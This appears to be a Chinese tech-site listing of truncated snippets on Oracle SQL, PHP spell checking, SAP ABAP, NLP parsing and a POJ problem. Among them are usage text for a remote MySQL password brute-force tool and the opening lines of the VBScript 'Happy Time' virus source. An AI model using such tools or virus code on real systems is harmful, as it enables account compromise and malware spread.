最近,谷歌金山词霸及其爱词霸网在线翻译联合哈珀柯林斯出版集团再次升级金山词霸词典内容,发布了在线免费版《柯林斯英语大词典》(《Collins English Dictionary》),该词典将有效的解决人们日常所使用的英语词汇的释义…
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插件8:拼写检查<?php // Plug-in 8: Spell Check// This is an executable example with additional code supplied
// To obtain just the plug-ins please click on the Download link$text "It was the best of tmes, it was t…
1.监控事例的等待:
select event,sum(decode(wait_time,0,0,1)) prev, sum(decode(wait_time,0,1,0)) curr,count(*) from v$session_wait group by event order by 4;2.回滚段的争用情况:
select name,waits,gets,waits/gets ratio from v$rollstat a,…
mysql密码暴力破解工具,支持远程破解。使用CLI指令。 usage : mysql_pwd_crack [ip] [options] options: -u username specify the username of mysql -x port specify the port of mysql -p password specify the password of mysq…
本实验仅仅针对表上的initrans和maxtrans参数的设置过小,导致阻塞事务的一个证明. 关于initrans和maxtrans参数的详细用法,请参阅相关文档 一个简单的测试 SQL> select rowid,a.* from toms a where depno<5; ROWID DEPNO EMPNO --------------…
1. Can you create a table with fields not referring to data elements? YES. eg:- ITAB LIKE SPFLI.here we are referening to a data object(SPFLI) not data element.What are the
different types of data dictionary objects? tables, structures, views, domains,…
Extraction of Entities and Relations调研,后面将推出基于Stanford Parser 的具体实现 Phrase Dependency Parsing
• A lot of product features are phrases
• Phrase dependency parsing extends traditional dependency parsing tophrase level …
1.创建DBMS_LOGMNR包SQL>$ORACLE_HOME/rdbms/admin/dbmslm.sql2.创建相关数据字典SQL>$ORACLE_HOME/rdbms/admin/dbmslmd.sql3.修改初始化参数UTL_FILE_DIR,指定分析数据的存放处SQL>alter system set UTL_FILE_DIR/opt/oracle/logminer scopespfile;4.重启数据库SQL&…
‘*************** 欢乐时光 ***************
Rem I am sorry! happy time
On Error Resume Next
Mload
‘以上为病毒入口,并加上I am sorry! happy time的注释,以表明此文件已被感染过。 Sub mload()
On Error Resume Next
mPath Grf()
Set Os …
Spell checker Time Limit: 2000MS Memory Limit: 65536K Total Submissions: 14190 Accepted: 5226 题目链接:http://poj.org/problem?id1035
Description
You, as a member of a development team for a new spellchecking program, are to write a module…